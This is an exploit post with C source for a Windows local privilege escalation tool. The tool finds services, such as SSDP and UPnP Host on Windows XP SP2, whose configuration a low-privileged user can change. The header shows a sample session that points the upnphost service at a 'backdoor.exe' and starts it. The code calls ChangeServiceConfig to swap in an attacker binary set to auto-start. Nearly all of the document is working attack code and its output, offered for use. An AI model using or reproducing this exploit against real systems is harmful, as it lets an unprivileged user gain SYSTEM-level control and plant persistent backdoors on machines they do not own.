Microsoft Windows SSDP and UPnP Services Local Privilege Escalation Exploit
/*
* Privilege Checker for Windows Services
* (c) 2006 Andres Tarasco ( atarasco _at_ gmail.com )
* http://www.haxorcitos.com
*
* Based on Sudhakar Govindavajhala and Andrew Appel paper
* http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf
*
* usage:
* You should execute this tool without Admin privileges on the target system
* using for example an user account
*
* srvcheck.exe -l - show vulnerable services
* srvcheck.exe -m Service PATH - modify service configuration (install backdoor)
*
* Example for Windows XP SP2 computer
D:\>whoami
HXR\test
D:\>net user test |find "grupo"
Miembros del grupo local *Usuarios
Miembros del grupo global *Ninguno
D:\>srvchecker.exe -l
Services Permissions checker
[SSDPSRV] Servicio de descubrimientos SSDP
Status: 0x1
Path: C:\WINDOWS\System32\svchost.exe -k LocalService
[upnphost] Host de dispositivo Plug and Play universal
Status: 0x1
Path: C:\WINDOWS\System32\svchost.exe -k LocalService
You were Lucky. 2 services found
D:\>srvchecker -m upnphost c:\windows\temp\backdoor.exe
Services Permissions checker
(c) 2006 Andres Tarasco - atarasco _at_ gmail.com
service modified =)
D:\>net start upnphost
*
* NOTE: This code compiles under Borland C++ Builder
*
*/
#include <stdio.h>
#include <windows.h>
void doFormatMessage( unsigned int dwLastErr );
int main(int argc, char* argv[])
{
SC_HANDLE SCM;
LPENUM_SERVICE_STATUS_PROCESS lpServices;
unsigned int n;
DWORD nSize = 0;
DWORD nServicesReturned;
DWORD nResumeHandle;
DWORD dwServiceType;
SC_HANDLE Svc;
LPQUERY_SERVICE_CONFIG lpConfig;
DWORD dwByteNeeded;
char SrvName[256],SrvDesc[256];
BYTE LIST=0;
unsigned int l=0;
printf(" Services Permissions checker\n");
printf(" (c) 2006 Andres Tarasco - atarasco _at_ gmail.com\n\n");
if ( ( (argc==1) || (argc>5) ) ||
( (argc==2) && (strcmp(argv[1],"-l")!=0) ) ||
( (argc==4) && (strcmp(argv[1],"-m")!=0) )
) {
printf("Usage:\n\t-l (list vulnerable services)\n");
printf("\t-m SRVNAME NewPath (change the configuration for that service)\n");
exit(1);
}
if (argv[1][1]=='l') {
LIST=1;
SCM = OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
}else {
SCM = OpenSCManager(NULL,NULL,STANDARD_RIGHTS_WRITE);
}
if (!SCM){
printf("OpenScManager FAILED\n");
doFormatMessage(GetLastError());
exit(-1);
}
if (LIST) {
nResumeHandle = 0;
dwServiceType = SERVICE_WIN32 | SERVICE_DRIVER;
lpServices = (LPENUM_SERVICE_STATUS_PROCESS) LocalAlloc(LPTR, 65535);
if (!lpServices) {
printf("LocalAlloc Failed\n");
exit(-1);
}
memset(lpServices,'\0',sizeof(lpServices));
if (EnumServicesStatusEx(SCM, SC_ENUM_PROCESS_INFO,
dwServiceType, SERVICE_STATE_ALL,
(LPBYTE)lpServices, 65535,
&nSize, &nServicesReturned,
&nResumeHandle, NULL) == 0) {
printf("EnumServicesStatusEx FAILED\n");
exit(-1);
}
for (n = 0; n < nServicesReturned; n++) {
Svc = OpenService(SCM,lpServices[n].lpServiceName, SERVICE_CHANGE_CONFIG |
SC_MANAGER_ENUMERATE_SERVICE |GENERIC_READ);
if (Svc!=NULL) {
l++;
printf("[%s]\t\t%s\n",lpServices[n].lpServiceName, lpServices[n].lpDisplayName);
printf("Status: 0x%x\n",lpServices[n].ServiceStatusProcess.dwCurrentState);
dwByteNeeded = 0;
lpConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024);
if (QueryServiceConfig(Svc, lpConfig, 1024, &dwByteNeeded)!=0) {
printf("Path: %s\n\n",lpConfig->lpBinaryPathName);
}else {
doFormatMessage(GetLastError());
}
}
}
} else {
Svc = OpenService(SCM,argv[2],SERVICE_CHANGE_CONFIG | STANDARD_RIGHTS_WRITE);
if (Svc!=NULL) {
if (ChangeServiceConfig(
Svc,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
argv[3],
NULL,
NULL,
"",
NULL,
NULL,
NULL)!=0) {
printf("service modified =)\n");
} else {
printf("modification failed\n");
}
} else {
printf("Unable to open Service %s\n",argv[2]);
}
}
if ( (LIST) && (l>0) ) {
printf("\n You were Lucky. %i services found\n",l);
} else {
printf("\No luck\n");
}
CloseServiceHandle(SCM);
LocalFree(lpServices);
return(1);
}
void doFormatMessage( unsigned int dwLastErr ) {
char cadena[512];
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_IGNORE_INSERTS |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwLastErr,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
(LPTSTR) &lpMsgBuf,
0,
NULL );
sprintf(cadena,"ERRORCODE %i: %s\n", dwLastErr, lpMsgBuf);
printf("Error: %s\n",cadena);
LocalFree( lpMsgBuf );
}